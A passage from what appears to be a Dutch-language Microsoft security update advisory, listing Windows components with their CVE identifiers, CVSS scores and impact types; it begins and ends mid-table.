\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              